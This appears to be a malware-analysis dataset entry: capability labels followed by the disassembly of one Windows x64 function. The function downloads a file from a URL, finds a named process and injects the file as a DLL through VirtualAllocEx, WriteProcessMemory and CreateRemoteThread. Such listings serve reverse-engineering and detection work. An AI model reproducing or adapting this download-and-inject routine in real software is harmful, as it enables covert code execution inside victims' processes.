Function at 0x14004f430
Capabilities:
Check if file exists
Create http request
Create thread
Delete file
Enumerate processes
Inject dll
Inject thread
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x580]
sub rsp, 0x680
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
mov dword [rbp + 0x5c8], 0xc00
mov r9d, 4
lea r8, [rbp + 0x5c8]
mov edx, Ordinal_32
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14004f48b
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14004f4a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14004f802
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.User_Agent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
cmp qword [rdi + 0x18], 0xf
jbe 0x14004f4d1
mov rdi, qword [rdi]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x14004f638
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14004f509
mov rdx, qword [rbx]
lea rcx, [rsp + 0x40]
call fcn.1400571c0
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], r15
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14004f5ee
lea r9, [rbp + 0x5b8]
mov r8d, 0x400
lea rdx, [rbp + 0x180]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004f5c0
nop dword [rax + rax]
mov eax, dword [rbp + 0x5b8]
test eax, eax
je 0x14004f5c0
mov r8d, eax
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 0x5b8]
mov r8d, 0x400
lea rdx, [rbp + 0x180]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14004f580
lea rcx, [rsp + 0x48]
call fcn.140057100
test rax, rax
jne 0x14004f5ee
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], r15
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x48]
call fcn.140056c10
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14004f64e
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14004f802
cmp qword [rsi + 0x18], 0xf
jbe 0x14004f666
mov rsi, qword [rsi]
mov r14d, r12d
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14004f802
mov dword [rbp + 0x50], 0x130
lea rdx, [rbp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14004f6de
nop dword [rax + rax]
lea rax, [rbp + 0x7c]
mov r8, rsi
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14004f6c3
inc rax
test ecx, ecx
jne 0x14004f6b0
test edx, edx
je 0x14004f6da
lea rdx, [rbp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14004f6a0
jmp 0x14004f6de
mov r14d, dword [rbp + 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
je 0x14004f802
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14004f802
cmp qword [rbx + 0x18], 0xf
jbe 0x14004f716
mov rbx, qword [rbx]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x14004f720
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x14004f802
mov r9, rdi
inc r9
cmp byte [rbx + r9], 0
jne 0x14004f755
inc r9
mov qword [rsp + 0x20], r12
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1401613e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r15, rax
test rax, rax
je 0x14004f7f9
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop dword [rax]
lea rdi, [rdi + 1]
cmp byte [rbx + rdi], 0
jne 0x14004f7d0
lea r8, [rdi + 1]
mov r9d, 0x8000
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x680]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret